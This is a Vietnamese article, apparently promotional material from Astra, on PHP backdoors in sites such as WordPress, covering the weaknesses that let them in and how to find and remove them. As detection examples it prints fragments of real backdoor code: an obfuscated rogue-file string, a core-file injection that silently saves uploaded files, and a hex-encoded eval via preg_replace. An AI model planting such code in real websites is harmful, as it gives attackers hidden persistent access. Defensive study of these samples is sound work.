Hàng ngày hơn 100.000 website bị hack. Thống kê cho thấy: một website đã bị xâm nhập có xác suất 40% bị hack lại. Kẻ tấn công thường gieo PHP Backdoor – mã độc cho phép truy cập lại website sau khi bạn đã reset toàn bộ admin panel. Mã này giấu sâu trong hệ thống, rất khó gỡ bỏ hoàn toàn. Với hơn 80% website chạy PHP (WordPress, Magento, Joomla…), PHP Backdoor trở thành mối đe dọa hàng đầu.
PHP Backdoor là gì?
PHP Backdoor là script/program độc hại được thiết kế để lén lút xâm nhập website và cung cấp authentication bypass (vượt qua xác thực) cho hacker. Chúng dùng để: duy trì truy cập, tiêm malware, cào dữ liệu, gieo card-skimmer, đánh cắp dữ liệu tài chính…
PHP Web Shell cho phép kẻ tấn công quản trị server PHP từ xa qua URL. Backdoor phức tạp hơn thậm chí truy xuất trực tiếp bộ nhớ core để khai thác dữ liệu.
Đặc tính cốt lõi: Persistence (sự bền bỉ) – Backdoor được thiết kế để "hồi sinh" sau khi bạn dọn dẹp, khiến việc triệt tiêu cực kỳ khó khăn.
Phát hiện PHP Backdoor trên website
Sức mạnh của Backdoor rất lớn: từ chạy lệnh nhỏ đến kiểm soát toàn bộ traffic, leo thang đặc quyền… Kẻ tấn công có thể:
- Truy cập mọi dữ liệu trên server.
- Dùng server đào coin (cryptojacking).
- Biến server thành botnet gửi spam hàng loạt.
- Và nhiều tác hại khác.
Không phải chủ website nào cũng có kiến thức kỹ thuật sâu. Rất dễ bỏ qua backdoor cho đến khi website biểu hiện sự cố. Do đó nhiều người nhờ đơn vị chuyên nghiệp như Astra để truy tìm & xử lý. Mã độc thường được obfuscate (rối mã) – làm mờ logic code – rất khó phân tích.
Quan trọng: Không phải backdoor nào cũng giống nhau. Tìm thấy một không đồng nghĩa với an toàn – hãy đào sâu hơn.
Các lỗ hổng phổ biến cho phép Backdoor xâm nhập:
- Mật khẩu yếu hoặc mặc định.
- Cho upload file PHP không kiểm soát.
- Code PHP kém an toàn: không validate input.
- Phiên bản PHP cũ, chưa vá lỗi.
- Cấu hình PHP không chuẩn (disable_functions, open_basedir…).
- Quyền file yếu trên file nhạy cảm.
- Bật hiển thị lỗi chi tiết (expose code).
Cách gỡ bỏ PHP Backdoor
Bước 1: Xác định vị trí malware. Bước 2: Tìm & xóa đoạn code cho phép truy cập trái phép ban đầu. Cần hiểu rõ code vận hành site. Dưới đây là các dạng backdoor phổ biến:
1. Rogue File Backdoor (File rác độc lập)
File không thuộc core, plugin, theme nhưng đặt tên giống file thật (vd: wp-config.php.bak, xml.php, media.php…). Code thường bắt đầu bằng chuỗi rối mã:
$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43...2. Backdoor trong Plugin & Theme
Hacker tiêm backdoor vào plugin/theme phổ biến, đặt tên nghe có vẻ hợp pháp:
- WordPress Support
- Login Wall
- WP Zipp
- WP-Base-SEO
Ví dụ kinh điển: Theme "WordPress Sketch" từng chứa hàng loạt backdoor. Cách an toàn: gỡ bỏ mọi plugin/theme không nhận diện.
3. Backdoor chèn vào Core File
Mã độc được chèn vào đầu, cuối hoặc giữa file core. Ví dụ code ở đầu file:
@ini_set('display_errors','off');@ini_set('log_errors',0);@ini_set('error_log',NULL); error_reporting(0); @ini_set('set_time_limit',0);ignore_user_abort(true);if(@isset($_POST['size']) and @isset($_FILES['img']['name'])) {@ini_set('upload_max_filesize','1000000');$size=$_POST['size'];$open_image=$_FILES['img']['name']; $open_image_tmp=$_FILES['img']['tmp_name'];$image_tmp=$size.$open_image; @move_uploaded_file($open_image_tmp,$image_tmp);Backdoor rối mã nặng (obfuscated):
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\...Thường có tham chiếu FilesMan:
$default_action = "FilesMan";Chống lại tội phạm mạng cùng Astra
Scanner máy học của Astra phát hiện hàng ngàn PHP Backdoor & malware chỉ với 1 click. Firewall Astra giám sát 24/7, chặn mọi lưu lượng độc hại. Chọn gói phù hợp và bảo vệ website ngay hôm nay!